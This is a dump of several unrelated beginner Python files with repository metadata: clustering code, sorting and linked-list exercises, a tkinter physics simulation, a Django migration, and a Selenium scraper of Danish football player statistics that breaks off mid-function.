mid = [v_i[idx] for idx in xrange(len(v_i))
if abs(cluster_list[v_i[idx]].horiz_center()
- horiz_center) < half_width]
#mid.sort(key = lambda idx: cluster_list[idx].vert_center())
num = len(mid)
result = (float("inf"), -1, -1)
for idx1 in xrange(num - 1):
for idx2 in xrange(idx1 + 1, min(idx1 + 4, num)):
current_d = pair_distance(cluster_list, mid[idx1], mid[idx2])
if current_d < result:
result = current_d
if result[1] > result[2]:
result = (result[0], result[2], result[1])
return result
######################################################################
# Code for hierarchical clustering
def hierarchical_clustering(cluster_list, num_clusters):
"""
Compute a hierarchical clustering of a set of clusters
Note: the function may mutate cluster_list
Input: List of clusters, integer number of clusters
Output: List of clusters whose length is num_clusters
"""
num = len(cluster_list)
cluster_list.sort(key = lambda clu: clu.horiz_center())
v_i = [idx for idx in xrange(num)]
v_i.sort(key = lambda idx: cluster_list[idx].vert_center())
while num > num_clusters:
if num % 50 == 0:
print num_clusters, num
#cluster_list.sort(key = lambda clu: clu.horiz_center())
idx = fast_closest_pair(cluster_list, 0, num - 1, v_i)
#cluster_list[idx[1]].merge_clusters(cluster_list[idx[2]])
#cluster_list.pop(idx[2])
arrange_h(cluster_list, idx[1], idx[2])
arrange(v_i, cluster_list, idx[1], idx[2])
num -= 1
return cluster_list
def arrange(v_i, cluster_list, idx1, idx2):
pos = min(v_i.index(idx1), v_i.index(idx2))
vert = cluster_list[idx1].vert_center()
v_i.remove(idx1)
v_i.remove(idx2)
for idx in xrange(len(v_i)):
if v_i[idx] > idx2:
v_i[idx] -= 1
while pos < len (v_i):
if vert < cluster_list[pos].vert_center():
break
else:
pos += 1
v_i.insert(pos, idx1)
def arrange_h(cluster_list, idx1, idx2):
pos = idx1
cluster = cluster_list[idx1].copy()
cluster = cluster.merge_clusters(cluster_list[idx2])
horiz = cluster_list[idx1].horiz_center()
cluster_list.pop(idx2)
cluster_list.pop(idx1)
while pos < len (cluster_list):
if horiz < cluster_list[pos].horiz_center():
break
else:
pos += 1
cluster_list.insert(pos, cluster)
######################################################################
# Code for k-means clustering
def kmeans_clustering(cluster_list, num_clusters, num_iterations):
"""
Compute the k-means clustering of a set of clusters
Note: the function may not mutate cluster_list
Input: List of clusters, integers number of clusters and number of iterations
Output: List of clusters whose length is num_clusters
"""
# position initial clusters at the location of clusters with largest populations
num = len(cluster_list)
points = [idx for idx in xrange(num)]
points.sort(reverse = True, key = lambda idx:
cluster_list[idx].total_population())
points = [[cluster_list[points[idx]].horiz_center(),
cluster_list[points[idx]].vert_center()]
for idx in xrange(num_clusters)]
clusters = [-1 for _ in xrange(num)]
population = [0 for _ in xrange(num_clusters)]
for _ in xrange(num_iterations):
for cidx in xrange(num):
mind = (float("inf"), -1, -1)
for idx in xrange(num_clusters):
dist = cluster_point_distance(cluster_list,
points,
cidx, idx)
if mind > dist:
mind = dist
clusters[cidx] = mind[2]
for idx in xrange(num_clusters):
points[idx][0] = 0.0
points[idx][1] = 0.0
population[idx] = 0
for cidx in xrange(num):
idx = clusters[cidx]
cpopul = cluster_list[cidx].total_population()
population[idx] += cpopul
points[idx][0] += cluster_list[cidx].horiz_center() * cpopul
points[idx][1] += cluster_list[cidx].vert_center() * cpopul
for idx in xrange(num_clusters):
points[idx][0] /= population[idx]
points[idx][1] /= population[idx]
result = [0 for _ in xrange(num_clusters)]
for cidx in xrange(num):
idx = clusters[cidx]
if result[idx] == 0:
result[idx] = cluster_list[cidx].copy()
else:
result[idx].merge_clusters(cluster_list[cidx])
return result
def cluster_point_distance(cluster_list, points, cidx, idx):
"""
Helper function that computes Euclidean distance between cluster and point
Input: cluster_list is list of clusters, points is list of points,
cidx1 and idx are integer indices for cluster and point
Output: tuple (dist, cidx, idx) where dist is distance between
cluster_list[cidx] and points[idx]
"""
d_x = cluster_list[cidx].horiz_center() - points[idx][0]
d_y = cluster_list[cidx].vert_center() - points[idx][1]
return (math.sqrt(d_x ** 2 + d_y ** 2), cidx, idx)
def compute_distortion(cluster_list, data_table):
return sum([cluster.cluster_error(data_table) for cluster in cluster_list])
|
[
"TogusaRusso@gmail.com"
] |
TogusaRusso@gmail.com
|
6a2f2c5f0d35f4f8e7e2af202d2a7b638e94bd51
|
255daf96ae2641a06fd5020a65622e41b1b22ca8
|
/insert_sort1.py
|
1b11a46d3a082f3b965df4a223babe8df9a71b5e
|
[] |
no_license
|
duanyiting2018/learning_python
|
11f7aab080e16da5dcf9bb14a4d81590eabd4c85
|
3041d6a6369641a0bb8e7c3161cbb988d3c37abd
|
refs/heads/master
| 2021-08-18T05:51:25.827615
| 2021-06-11T13:39:52
| 2021-06-11T13:39:52
| 151,018,624
| 4
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 667
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Mon Feb 24 14:05:50 2020
@author: duanyiting
"""
size=8
def showdata(data2):
for i in range(size):
print('%1d'%data2[i],end=' ')
print()
def insert_sort(data3):
for i in range(1,size):
tmp=data3[i]#tmp用来暂存数据
no=i-1
while no>=0 and tmp<data3[no]:
data3[no+1]=data3[no]#将所有元素后移1位
no=no-1
data3[no+1]=tmp#最小的元素放在data3[0]
data1=[]
print("插入排序,请输入8个数:")
for i in range(0,8):
data1.append(int(input()))
#showdata(data1)
insert_sort(data1)
print("排序后的数组是:")
showdata(data1)
|
[
"1036179833@qq.com"
] |
1036179833@qq.com
|
a7b89574bda58f867c4e82e4edbbf25d5299eca5
|
b89fb35aed1e3c4d2d7e1240433fe19de0d22238
|
/lab7/moleCOOLa_git.py
|
14a2642a05702d1fc8b43a2d4ef559de7086fa16
|
[] |
no_license
|
ilyapanov1202/infa_2019_ivanov
|
0a2c7e56c3383d4da8b86ebeed93538fb96e2fdb
|
f90a12ab37bd0d6cbc8beb1dfd9b536c73f4cd5e
|
refs/heads/master
| 2020-07-28T21:14:06.976069
| 2019-10-31T12:47:54
| 2019-10-31T12:47:54
| 209,539,455
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,515
|
py
|
from tkinter import *
from random import randrange as rnd
import time
root = Tk()
root.geometry('185x170')
entry_text1 = StringVar()
entry1 = Entry(root, textvariable = entry_text1, font = "Arial 36", bd = 12, width = 6)
entry1.insert(0, "")
entry1.place(relx = 0, rely = 0)
def entry1_get():
global gravity, entry_text2, entry2, button2, root
gravity = int(entry_text1.get()) * 2000
button1.destroy()
entry1.destroy()
entry_text2 = IntVar()
entry2 = Entry(root, textvariable = entry_text2, font = "Arial 36", bd = 12, width = 6)
entry2.insert(0, "")
entry2.place(relx = 0, rely = 0)
button2 = Button(root, text = "Elasticity coefficient\n (from 1 to 100)", font = "Arial 14", command = entry2_get)
button2.place(relx = 0, rely = 0.5)
def entry2_get():
global elasticity_coefficient, entry_text2, entry2, button2, root, canv
elasticity_coefficient = int(entry_text2.get()) * 100000
main()
button2.destroy()
entry2.destroy()
root.geometry('800x600')
button1 = Button(root, text = "Gravity", font = "Arial 32", width = 7, command = entry1_get)
button1.place(relx = 0, rely = 0.5)
class Vector:
def __init__(self, x = 0, y = 0):
self.x = x
self.y = y
def __iadd__(self, vector):
self.x += vector.x
self.y += vector.y
return self
def __imul__(self, c):
self.x *= c
self.y *= c
return self
def __mul__(self, c):
return Vector(self.x * c, self.y * c)
def __add__(self, vector):
return Vector(self.x + vector.x, self.y + vector.y)
def module(self, vector):
return ((self.x - vector.x) ** 2 + (self.y - vector.y) ** 2) ** 0.5
def show(self):
print("(%s; %s)" % (self.x, self.y))
class Ball:
def __init__(self, x, y, v_x, v_y, a_x, a_y, r, flag):
self.position = Vector(x, y)
self.speed = Vector(v_x, v_y)
self.acceleration = Vector(a_x, a_y)
self.radius = r
self.flag = flag
self.obj = canv.create_oval(x - r, y - r, x + r, y + r, fill = "#" + str(int(r ** 2 / 45)) + str(int(r ** 2 / 60)) + str(int(r ** 2 / 45)))
def paint(self):
self = Ball(self.position.x, self.position.y, self.speed.x, self.speed.y, self.acceleration.x, self.acceleration.y, self.radius, self.flag)
#|||-----------------------------------------function is not used>>>
def move(self, dt):
canv.move(self.obj, self.speed.x * dt, self.speed.y * dt)
self.calculate_speed(dt)
self.calculate_position(dt)
self.flag = 0
#-----------------------------------------<<<function is not used|||
def move_to(self, dt):
self.calculate_speed(dt)
self.calculate_position(dt)
self.paint()
self.flag = 0
def calculate_speed(self, dt):
global max_speed
self.speed += self.acceleration * dt
if abs(self.speed.x) > max_speed * 10:
self.speed.x = abs(self.speed.x) % max_speed * 10 * (self.speed.x / abs(self.speed.x))
if abs(self.speed.y) > max_speed * 10:
self.speed.y = abs(self.speed.y) % max_speed * 10 * (self.speed.y / abs(self.speed.y))
def calculate_position(self, dt):
self.position += self.speed * dt
def show(self):
print("pos = (%s; %s)" % (self.position.x, self.position.y), "\nv = (%s; %s)" % (self.speed.x, self.speed.y), "\na = (%s; %s)" % (self.acceleration.x, self.acceleration.y), "\nr =", self.radius)
def collision(self, ball):
global elasticity_coefficient, gravity
if self.position.module(ball.position) < self.radius + ball.radius:
dx = self.radius + ball.radius - self.position.module(ball.position)
self.acceleration = (self.position + ball.position * (-1)) * ((elasticity_coefficient * dx ** 2 / self.radius ** 2) / self.position.module(ball.position))
ball.acceleration = (ball.position + self.position * (-1)) * ((elasticity_coefficient * dx ** 2 / ball.radius ** 2) / self.position.module(ball.position))
self.flag = 1
ball.flag = 1
if self.flag == 0:
self.acceleration = Vector(0, gravity)
def wall_collision(self):
if self.position.x < self.radius and self.speed.x < 0:
self.speed.x *= -1
if self.speed.x < 5:
self.speed.x = 5
if self.position.x > 800 - self.radius and self.speed.x > 0:
self.speed.x *= -1
if self.speed.x > -5:
self.speed.x = -5
if self.position.y < self.radius and self.speed.y < 0:
self.speed.y *= -1
if self.speed.y < 5:
self.speed.y = 5
if self.position.y > 600 - self.radius and self.speed.y > 0:
self.speed.y *= -1
if self.speed.y > -5:
self.speed.y = -5
self.acceleration.y = 0
class World:
def __init__(self, dt):
self.dt = dt
def create_balls(self, quantity, max_speed, radius1, radius2):
global all_balls
all_balls = []
for k in range(quantity):
ball_0 = Ball(rnd(50, 750), rnd(50, 550), rnd(-max_speed, max_speed + 1), rnd(-max_speed, max_speed + 1), 0, 0, rnd(radius1, radius2 + 1) * (rnd(2, 5) // 2), 0)
all_balls.append(ball_0)
def global_movement(self, quantity, dt):
global all_balls
canv.delete(ALL)
for k in range(quantity):
for i in range(k):
all_balls[k].collision(all_balls[i])
for k in range(quantity):
all_balls[k].wall_collision()
all_balls[k].move_to(dt)
def update():
global world, quantity, dt
world.global_movement(quantity, dt)
root.after(int(dt * 10000), update)
def main():
global world, quantity, dt, canv, max_speed
canv = Canvas(root,bg='white')
canv.pack(fill=BOTH,expand=1)
dt = 0.001
quantity = 50
max_speed = 2000
radius1 = 10
radius2 = 10
world = World(dt)
world.create_balls(quantity, max_speed, radius1, radius2)
update()
mainloop()
|
[
"panov.ia@phystech.edu"
] |
panov.ia@phystech.edu
|
5cc782ae961498b0b58560713f086c5bc4bfa0ed
|
4f48e707f6a50adb40c13aaee1d10d9d76c81780
|
/logsapp/migrations/0001_initial.py
|
86dd00cf84cba4766c5eb9bfc533c575d077c607
|
[] |
no_license
|
rishanexe/logistics
|
a7c3421e4a8493bc71559b7e76ed2824a880bdc3
|
e383929d8247842bfbc2e53e6822b07a4bf85402
|
refs/heads/master
| 2020-04-26T08:36:46.057822
| 2019-04-04T17:29:22
| 2019-04-04T17:29:22
| 173,428,159
| 1
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,212
|
py
|
# Generated by Django 2.1.7 on 2019-03-03 09:28
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Details',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('customer_name', models.CharField(max_length=200)),
('refid', models.CharField(max_length=8)),
('good_type', models.CharField(max_length=10)),
('packs', models.IntegerField(default=0)),
('weight', models.IntegerField(default=200)),
('location', models.CharField(max_length=10)),
],
),
migrations.CreateModel(
name='Login',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('username', models.CharField(max_length=10)),
('password', models.CharField(max_length=16)),
('usertype', models.CharField(max_length=10)),
],
),
]
|
[
"ri5han@github.com"
] |
ri5han@github.com
|
5547b3e9164be8dae5f3be87c30fc50b9e4ece64
|
91d70927a526f11e9c093ef62f5d83a3e613d9ee
|
/exercise13/Tehtävä_L13T02.py
|
99d355988a478c050902c785fba7d19d0646a52e
|
[] |
no_license
|
RiikkaKokko/JAMK_ohjelmoinnin_perusteet
|
1812b92c9b6d8b1127ca2b54e93d17fa687920b6
|
2be91f6346a301232f06023425408d83196cab63
|
refs/heads/master
| 2023-07-23T02:58:06.639330
| 2021-08-23T13:20:06
| 2021-08-23T13:20:06
| 399,109,539
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 619
|
py
|
Arvosanat = []
arvosana = 0
number_of_empty_responses = 0
while True:
data = (input("Kirjoita arvosana: "))
arvosana += 1
Arvosanat.append(data)
if data == "":
number_of_empty_responses += 1
if number_of_empty_responses == 1:
Arvosanat.remove("")
#print(Arvosanat)
ints = [int(item) for item in Arvosanat]
break
uusi_lista = [i for i in ints if i > -1 and i < 6]
#print(uusi_lista)
keskiarvo = sum(uusi_lista) / len(uusi_lista)
print("Arvosanoja on yhteensä: " + str(arvosana - 1))
print("numeroiden keskiarvo on: " + str(keskiarvo))
|
[
"40693952+RiikkaKokko@users.noreply.github.com"
] |
40693952+RiikkaKokko@users.noreply.github.com
|
d6cbfefec0772206808b2dbfbe06b5750a86f444
|
c3abc9e55a0a57027ef6928e83443e2ba7fcfbdf
|
/lhzutil.py
|
41e0dbf406614ce7b1b0dc40b4c0b0e077e0b428
|
[
"Apache-2.0"
] |
permissive
|
Q5EbA7Vdyw84efER/wxBot
|
590de2355f1f8be7e3aff2846ef1900459eaf958
|
98c7acee5a076332c8de2bac091e04d7f661edb6
|
refs/heads/master
| 2020-03-24T14:21:22.283861
| 2018-12-25T06:13:26
| 2018-12-25T06:13:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 520
|
py
|
# -*- coding: utf-8 -*-
# 获取字符串中匹配子串的最后一个位置
def find_last(string, str):
last_position = -1
while True:
position = string.find(str, last_position+1)
if position == -1:
return last_position
last_position = position
# 将文件名改写成小文件名
def thumbFilePath(filepath):
lastindexofdot = find_last(filepath, '.')
filepath = filepath[:lastindexofdot]+'_thumb'+filepath[lastindexofdot:]
return filepath
|
[
"lhz@lhzs-Macbook-Pro.local"
] |
lhz@lhzs-Macbook-Pro.local
|
2466a150d32b4e609db3ff2436a9814b440d4592
|
764cd26665124fdba7ad36e1dbb5c45cfc3c8ac2
|
/0x0B-python-input_output/0-read_file.py
|
c4c3d7507a44edf365cf57fc51ce838ff5cf6eb2
|
[] |
no_license
|
Athesto/holbertonschool-higher_level_programming
|
633dbc006ba895e52a7db10b0a6e2f7b65a3f283
|
5de9c7fa35247ae27c488f1a4ed1db8f7aa6bd5e
|
refs/heads/master
| 2023-05-02T21:03:11.872649
| 2021-05-25T21:09:54
| 2021-05-25T21:10:59
| 291,834,251
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 196
|
py
|
#!/usr/bin/python3
'''task 0'''
def read_file(filename=""):
'''read file'''
with open(filename, 'r', encoding="utf-8") as file:
for line in file:
print(line, end='')
|
[
"gamez.live@gmail.com"
] |
gamez.live@gmail.com
|
c2b6c76ca7aba1eb22ec95bfa7914deef8ef88e7
|
93ab9665078d49028e5094e23d673574031d47e5
|
/Data_structures/list/meeting_point.py
|
b1d9fd087e06d641949969cbfa1187c8b775cc1e
|
[] |
no_license
|
raghulrage/Python-programs
|
7072429108c2932323b5f636d06f97a07c4cb6a4
|
8d134fade8626c99237c48068a2d1f5c6b04a0cc
|
refs/heads/master
| 2023-05-05T23:11:36.407458
| 2020-10-17T05:45:58
| 2020-10-17T05:45:58
| 198,346,485
| 1
| 9
| null | 2021-05-22T12:50:28
| 2019-07-23T03:41:20
|
Python
|
UTF-8
|
Python
| false
| false
| 1,612
|
py
|
class Node:
def __init__(self,data):
self.data = data
self.next = None
class LinkedList():
def __init__(self):
self.head = None
def push(self,data):
new_node = Node(data)
if(self.head == None):
self.head = new_node
return
temp = self.head
while temp.next!=None:
temp = temp.next
temp.next = new_node
def input_push(self,l):
for i in l:
self.push(i)
def display(self):
temp = self.head
print('-----------')
while temp:
print(temp.data)
temp = temp.next
def meeting_point(l1,l2):
temp1 = l1.head
while temp1:
temp2 = l2.head
while temp2:
if temp1.data == temp2.data:
t1 = temp1
t2 = temp2
f=0
while t2!=None and t1!=None:
if t1.data == t2.data:
f = 1
else:
f = 0
break
t1 = t1.next
t2 = t2.next
if f == 1 :
print('Meeting point: ',temp1.data)
return
temp2 = temp2.next
temp1 = temp1.next
print('No meeting point')
lst1 = LinkedList()
lst2 = LinkedList()
lst1.input_push(list(map(int,input().split())))
lst2.input_push(list(map(int,input().split())))
lst1.display()
lst2.display()
meeting_point(lst1,lst2)
|
[
"noreply@github.com"
] |
noreply@github.com
|
a63796007e54fbdde56559bc9935e176c6ce52c4
|
a392216464aea36f81c7dc29de5595c0f5331565
|
/test.py
|
2d66f54a7d4b983057934fc3f61f705574d65af9
|
[] |
no_license
|
renecotyfanboy/bh
|
98a3722411383e08c9f7aa9aa3403ed8d13c9a5f
|
8b601d96db5c22360d0d41e52a4ef1d69c23d511
|
refs/heads/master
| 2022-09-01T22:53:36.554676
| 2020-05-25T10:42:25
| 2020-05-25T10:42:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 569
|
py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun May 24 01:54:00 2020
@author: simon
"""
#%% Example code
import numpy as np
import matplotlib.pyplot as plt
import tempfile
from os.path import join
from tqdm import tqdm
from matplotlib import cm
from matplotlib import colors,image
from tools.imager import BH_imager
import animatplot as amp
#with tempfile.TemporaryDirectory() as tmpdirname:
bh = BH_imager(angle=10,pixel_size=0.0125)
img = bh.compute_img()
np.savetxt('img.txt',img)
# plt.imshow(img,cmap=cm.hot,origin='lower')
# plt.axis('off')
|
[
"49200287+renecotyfanboy@users.noreply.github.com"
] |
49200287+renecotyfanboy@users.noreply.github.com
|
d411f2560b7fea2dbce270905b09789a7a00e732
|
8e524f23d18c02d5b4e4d8cccff5330229a8d7eb
|
/EstruturaDeRepeticao/exerc8.py
|
c6ca2af03682e1f7ab2272b3135e42916d5cffb2
|
[] |
no_license
|
Louissilver/exercicios_python
|
dfe8e1e37fb9300f357c0e5ceffcc559666161fe
|
39d7d53b83177b1dcd64d105eb13f75eed557b17
|
refs/heads/master
| 2022-12-27T03:41:31.238035
| 2020-10-05T23:15:32
| 2020-10-05T23:15:32
| 295,038,319
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 275
|
py
|
#8.Faça um programa que leia 5 números e informe a soma e a média dos números.
num = 0
soma = 0
media = 0
for i in range(1, 6):
num = int(input("Digite um número: "))
soma += num
media = soma/i
print(f"A soma dos números é {soma} e a média deles é {media:.2f}")
|
[
"luisfernandosilveira23@gmail.com"
] |
luisfernandosilveira23@gmail.com
|
72222da4ae1741a0fe83d540d008fd9bae0c1a83
|
51b6d2fc53d5c632fcf01319842baebf13901e84
|
/atcoder.jp/abc131/abc131_a/Main.py
|
68ba8c087a27f58b969015b21503fb2ab8a823b3
|
[] |
no_license
|
mono-0812/procon
|
35db3b2c21eff74fbd7b52db07f249380f6834ef
|
68a4b53880a228a0164052b23d1326363efcbc20
|
refs/heads/master
| 2023-05-30T17:02:58.935074
| 2021-06-27T12:15:10
| 2021-06-27T12:15:10
| 345,896,553
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 103
|
py
|
s=input()
las=""
for i in s:
if las==i:
print("Bad")
exit()
las=i
print("Good")
|
[
"frisk02.jar@gmail.com"
] |
frisk02.jar@gmail.com
|
5a2d06f06eacfc9d696d721d68dc22817b5a540d
|
f3bb68a5fd99b5fc4e8365375fa85b88b4b84ea1
|
/main.py
|
49e025aadc1081545e37d2df2eb2ce53d7dc2d8a
|
[] |
no_license
|
AndreYanny/calculator
|
bc972f0ed4eb1354d3363be681c463d6d66ae91f
|
7b9bcbf8b2daf2ce1dcdd20647dbf041a8fe7c63
|
refs/heads/master
| 2023-04-11T19:18:51.300737
| 2021-03-31T16:30:31
| 2021-03-31T16:30:31
| 353,417,368
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,159
|
py
|
# Program make a simple calculator
# This function adds two numbers
def add(x, y):
print(x, "+", y, "=", x + y)
# This function subtracts two numbers
def subtract(x, y):
print(x, "-", y, "=", x - y)
# This function multiplies two numbers
def multiply(x, y):
print(x, "*", y, "=", x * y)
# This function divides two numbers
def divide(x, y):
try:
print(x, "/", y, "=", x / y)
except ZeroDivisionError:
print("Division by zero error!")
print("Select operation.")
print("1.Add")
print("2.Subtract")
print("3.Multiply")
print("4.Divide")
while True:
# Take input from the user
choice = input("\nEnter choice(1/2/3/4): ")
# Check if choice is one of the four options
if choice in ('1', '2', '3', '4'):
num1 = float(input("Enter first number: "))
num2 = float(input("Enter second number: "))
if choice == '1':
add(num1, num2)
elif choice == '2':
subtract(num1, num2)
elif choice == '3':
multiply(num1, num2)
elif choice == '4':
divide(num1, num2)
break
else:
print("Invalid Input")
|
[
"andre_osama@yahoo.com"
] |
andre_osama@yahoo.com
|
4699041df8bc845885513fbf247fa04518328cbd
|
14afcc5e2b8bdb3d91b500f6e7985d8a3378e929
|
/src/68.文本左右对齐.py
|
b3689a9c97bc0475d281eab692c085002b906bbc
|
[] |
no_license
|
hysapphire/leetcode-python
|
8569a0e76f8917165e6b9fb25bfef1afc1186e3c
|
8e338ee7a5c9f124e897491d6a1f4bcd1d1a6270
|
refs/heads/master
| 2022-12-03T15:17:52.557115
| 2020-08-17T14:19:59
| 2020-08-17T14:19:59
| 278,781,919
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,782
|
py
|
#
# @lc app=leetcode.cn id=68 lang=python3
#
# [68] 文本左右对齐
#
# @lc code=start
class Solution:
def fullJustify(self, words: List[str], maxWidth: int) -> List[str]:
splited_words = []
s = []
cnt = 0
for word in words:
t = cnt + len(word)
if t > maxWidth:
splited_words.append(s)
s = [word]
cnt = len(word) + 1
else:
s.append(word)
cnt = t + 1
splited_words.append(s)
res = []
for splited_word in splited_words[:-1]:
s = ""
if len(splited_word) == 1:
num_space = 0
else:
num_space = (maxWidth - sum([len(word) for word in splited_word])) // (len(splited_word) - 1)
delta_num_space = (maxWidth - sum([len(word) for word in splited_word])) - (len(splited_word) - 1) * num_space
if len(splited_word) == 1:
s = ""
s += splited_word[0]
for _ in range(delta_num_space):
s += " "
else:
for word in splited_word[:-1]:
s += word
for _ in range(num_space):
s += " "
if delta_num_space > 0:
s += " "
delta_num_space -= 1
s += splited_word[-1]
res.append(s)
s = ""
for word in splited_words[-1][:-1]:
s += word
s += " "
s += splited_words[-1][-1]
for _ in range(maxWidth - len(s)):
s += " "
res.append(s)
return res
# @lc code=end
|
[
"huoyang93@qq.com"
] |
huoyang93@qq.com
|
04f197160e35435fcf10385457b3c47a54990aec
|
0ba0e1f45275358d134a33c25fa0d881cb73706a
|
/scrapers/scrape_player_stats.py
|
9303b60ba9215dd8737fec3cd3193a905205432e
|
[] |
no_license
|
C-Roensholt/ScrapeDanishSuperligaData
|
c8a888209e0221f7a392a77e7b15218a7e888ba1
|
d80c029e06b1ec26df5d6989884ff6a220f1bd53
|
refs/heads/main
| 2023-07-03T10:32:19.793708
| 2021-08-03T09:02:02
| 2021-08-03T09:02:02
| 391,692,055
| 1
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 15,798
|
py
|
#%%
import pickle
import time
import pandas as pd
from selenium import webdriver
from functools import reduce
def get_player_overall_stats(driver, url, get_all=False):
driver.get(url)
time.sleep(3)
# change to player stats
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
# get player stats
player_overall_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'minutes', 'goals', 'assist', 'started', 'substituted',
'meters_run', 'red', 'yellow'
])
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_overall_stats['player'] = player_names
player_overall_stats[player_overall_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_overall_stats
def get_player_offensive_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to offensive stats page
button = driver.find_element_by_xpath(f"//button[text()='offensiv']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
player_offensive_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'shots', 'goals', 'goals_percentage', 'xG', 'chances_created', 'open_chances',
'assist', 'succesfull_pass_percentage'
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
#player_overall_stats['player'] = player_names
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_offensive_stats['player'] = player_names
player_offensive_stats[player_offensive_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_offensive_stats
def get_player_goals_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to goals stats page
button = driver.find_element_by_xpath(f"//button[text()='Mål']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
player_goals_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'goals', 'goals_in_box', 'goals_outside_box', 'goals_freekick',
'goals_headers', 'goals_pen', 'goals_left_foot', 'goals_right_foot',
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_goals_stats['player'] = player_names
player_goals_stats[player_goals_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_goals_stats
def get_player_pass_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to passing stats page
button = driver.find_element_by_xpath(f"//button[text()='Afleveringer']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
player_pass_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'passes', 'completed_pass_percentage', 'long_passes', 'long_passes_percentage',
'succesfull_pass_own_half_percentage', 'succesfull_pass_opp_half_percentage',
'forward_pass_percentage', 'backwards_pass_percentage', 'sideway_passes_percentage'
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
#player_overall_stats['player'] = player_names
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_pass_stats['player'] = player_names
player_pass_stats[player_pass_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_pass_stats
def get_player_defensive_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to defensive stats page
button = driver.find_element_by_xpath(f"//button[text()='defensiv']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
player_defensive_stats = pd.DataFrame(columns=[
